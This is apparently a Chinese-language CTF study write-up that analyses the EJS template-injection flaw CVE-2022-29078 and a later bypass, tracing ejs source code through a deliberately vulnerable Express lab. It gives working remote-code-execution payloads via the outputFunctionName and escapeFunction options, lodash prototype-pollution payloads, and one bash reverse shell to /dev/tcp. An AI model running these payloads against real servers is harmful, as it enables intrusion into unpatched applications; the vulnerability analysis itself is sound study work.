目录

学习并记录一下

CVE-2022-29078

ejs<=3.16

NodeJS 的 EJS(嵌入式 JavaScript 模板)版本 3.1.6 或更早版本中存在 SSTI(服务器端模板注入)漏洞。

该漏洞settings[view options][outputFunctionName]在EJS渲染成HTML时,用浅拷贝覆盖值,最后插入OS Command导致RCE。

环境搭建

npm install ejs@3.1.6
npm install express

我是使用webstorm进行调试的,调试的话要稍微设置一下,不然跟进不了源码

image-20230822111505137

app.js

const express = require('express');
const app = express();
const path = require('path');

app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));

app.get('/', (req, res) => {
    // 渲染模板并传递数据
    res.render('index', req.query );
});

app.listen(3000, () => {
    console.log('Server is running on port 3000');
});

index.ejs

<html>
    <head>
        <title>Lab CVE-2022-29078</title>
    </head>

    <body>
        <h2>CVE-2022-29078</h2>
        <%= test %>
    </body>
</html>

漏洞分析

模板注入分析

漏洞是有ejs造成的,所以我们直接锁定ejs的源码

我们查看Node_Modulesejs/lib/ejs.js 文件,取看看req.query是怎么进行传递的,主要看的是renderFile,因为它的作用是解析文件生成HTML

exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = {filename: filename};
  var data;
  var viewOpts;

  // Do we have a callback?
  if (typeof arguments[arguments.length - 1] == 'function') {
    cb = args.pop();
  }
  // Do we have data/opts?
  if (args.length) {
    // Should always have data obj
    data = args.shift();
    // Normal passed opts (data obj + opts obj)
    if (args.length) {
      // Use shallowCopy so we don't pollute passed in opts obj with new vals
      utils.shallowCopy(opts, args.pop());
    }
    // Special casing for Express (settings + opts-in-data)
    else {
      // Express 3 and 4
      if (data.settings) {
        // Pull a few things from known locations
        if (data.settings.views) {
          opts.views = data.settings.views;
        }
        if (data.settings['view cache']) {
          opts.cache = true;
        }
        // Undocumented after Express 2, but still usable, esp. for
        // items that are unsafe to be passed along with data, like `root`
        viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }
      // Express 2 and lower, values set in app.locals, or people who just
      // want to pass options in their data. NOTE: These values will override
      // anything previously set in settings  or settings['view options']
      utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
    }
    opts.filename = filename;
  }
  else {
    data = {};
  }

  return tryHandleCache(opts, data, cb);
};

看到这里

image-20230821221227347

先判断长度是否存在进入第一个if,然后拿掉数组第一个元素作为data,再判断长度,第二个ifargs.pop() 获取数组中的最后一个元素, utils.shallowCopy 是将属性浅复制opts 对象中,我们不进入第二个if,而是要进入else

往下看

image-20230822073436514

这里data是我们传入的数据而来,可控,那么强行插入setting['view options']来设置,payload如下:

http://127.0.0.1:3000?test=AAAA&settings[view%20options][A]=BBBB

然后进入

image-20230822074208437

我们跟进shallowCopy函数里面看看

image-20230822074252637

这里就有点像merge函数

看到compile这里

image-20230822081133806

从代码中可以看出,optsoutputFunctionName的元素值取出prepended并放入 中。

opts值可控,outputFuntionName也可控,那么可以构造payload

127.0.0.1:3000?test=AAAA&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('calc');x

那么pretended就为

var x;process.mainModule.require('child_process').execSync('calc');x = __append;

image-20230822102613329

原型链污染

npm install lodash@4.7.12

ejs

var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
    res.render ("index.ejs",{
        message: 'Ic4_F1ame'
    });
});

//设置http
var server = app.listen(8000, function () {

    var host = server.address().address
    var port = server.address().port

    console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

index.ejs

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

image-20230822111813944

跟进,到response.jsapp.render函数

image-20230822111900755

继续跟进到(view, renderOptions, done);

image-20230822112019179

看看tryRender函数的实现,是调用view.render(options, callback);

image-20230822112112407

跟进render函数,这里调用this.engine函数

image-20230822112349803

跟进this.engine(this.path, options, callback);这里我们就进入了上面分析的模板渲染引擎ejs.js里面

image-20230822112702228

image-20230822112710056

继续跟进return tryHandleCache(opt,data,cb);

image-20230822112839733

跟进tryHandleCache,调用handleCache方法,传data参数

image-20230822113052035

跟进handleCache,调用渲染模板的compile方法

image-20230822113349668

这里调用了templ.compile()方法,继续往下跟

image-20230822113506988

image-20230822121443679

payload合集

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var __tmp2"}}

CVE-2022-29078 bypass

环境搭建

ejs <= v3.1.9

const express = require('express');
const app = express();
const PORT = 3000;
app.set('views', __dirname);
app.set('view engine', 'ejs');
app.get('/', (req, res) => {
    res.render('index', req.query);
});

app.listen(PORT, ()=> {
    console.log(`Server is running on ${PORT}`);
});

漏洞分析

payload

?settings[view%20options][escapeFunction]=console.log;this.global.process.mainModule.require(%27child_process%27).execSync("touch /tmp/3.txt");&settings[view%20options][client]=true

前面的链子基本相同,不同的是最后的拼接

image-20230822125052376

    if (!this.source) {
      this.generateSource();
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {
          throw new Error('outputFunctionName is not a valid JS identifier.');
        }
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts.localsName && !_JS_IDENTIFIER.test(opts.localsName)) {
        throw new Error('localsName is not a valid JS identifier.');
      }
      if (opts.destructuredLocals && opts.destructuredLocals.length) {
        var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';
        for (var i = 0; i < opts.destructuredLocals.length; i++) {
          var name = opts.destructuredLocals[i];
          if (!_JS_IDENTIFIER.test(name)) {
            throw new Error('destructuredLocals[' + i + '] is not a valid JS identifier.');
          }
          if (i > 0) {
            destructuring += ',\n  ';
          }
          destructuring += name + ' = __locals.' + name;
        }
        prepended += destructuring + ';\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output;' + '\n';
      this.source = prepended + this.source + appended;
    }

    if (opts.compileDebug) {
      src = 'var __line = 1' + '\n'
        + '  , __lines = ' + JSON.stringify(this.templateText) + '\n'
        + '  , __filename = ' + sanitizedFilename + ';' + '\n'
        + 'try {' + '\n'
        + this.source
        + '} catch (e) {' + '\n'
        + '  rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
        + '}' + '\n';
    }
    else {
      src = this.source;
    }

    if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
      }
    }

    if (opts.strict) {
      src = '"use strict";\n' + src;
    }
    if (opts.debug) {
      console.log(src);
    }
    if (opts.compileDebug && opts.filename) {
      src = src + '\n'
        + '//# sourceURL=' + sanitizedFilename + '\n';
    }

    try {
      if (opts.async) {
        // Have to use generated function for this, since in envs without support,
        // it breaks in parsing
        try {
          ctor = (new Function('return (async function(){}).constructor;'))();
        }
        catch(e) {
          if (e instanceof SyntaxError) {
            throw new Error('This environment does not support async/await');
          }
          else {
            throw e;
          }
        }
      }
      else {
        ctor = Function;
      }
      fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
    }
    catch(e) {
      // istanbul ignore else
      if (e instanceof SyntaxError) {
        if (opts.filename) {
          e.message += ' in ' + opts.filename;
        }
        e.message += ' while compiling ejs\n\n';
        e.message += 'If the above error is not helpful, you may want to try EJS-Lint:\n';
        e.message += 'https://github.com/RyanZim/EJS-Lint';
        if (!opts.async) {
          e.message += '\n';
          e.message += 'Or, if you meant to create an async function, pass `async: true` as an option.';
        }
      }
      throw e;
    }

    // Return a callable function which will execute the function
    // created by the source-code, with the passed data as locals
    // Adds a local `include` function which allows full recursive include
    var returnedFn = opts.client ? fn : function anonymous(data) {
      var include = function (path, includeData) {
        var d = utils.shallowCopy(utils.createNullProtoObjWherePossible(), data);
        if (includeData) {
          d = utils.shallowCopy(d, includeData);
        }
        return includeFile(path, opts)(d);
      };
      return fn.apply(opts.context,
        [data || utils.createNullProtoObjWherePossible(), escapeFn, include, rethrow]);
    };
    if (opts.filename && typeof Object.defineProperty === 'function') {
      var filename = opts.filename;
      var basename = path.basename(filename, path.extname(filename));
      try {
        Object.defineProperty(returnedFn, 'name', {
          value: basename,
          writable: false,
          enumerable: false,
          configurable: true
        });
      } catch (e) {/* ignore */}
    }
    return returnedFn;
  },

image-20230822125402924

opts.outputFunctionNameopts.localsNameopts.destructuredLocals 想要拼接进 src 的话要通过 正则的 白名单处理

但是,还是有元素没有被正则过滤,这就是 opts.escapeFunction

image-20230822125846882

也就是说,当 opts.client 不为空的情况下,opts.escapeFunction 的值就能直接拼接到 src 当中,从而实现任意代码执行。

src的值

image-20230822130004847

命令执行image-20230822130018341

总结

nepctf上遇到的,顺便学习一下

参考

Ejs模板引擎注入实现RCE - 先知社区 (aliyun.com)

ejs RCE CVE-2022-29078 bypass - inHann的博客 | inHann’s Blog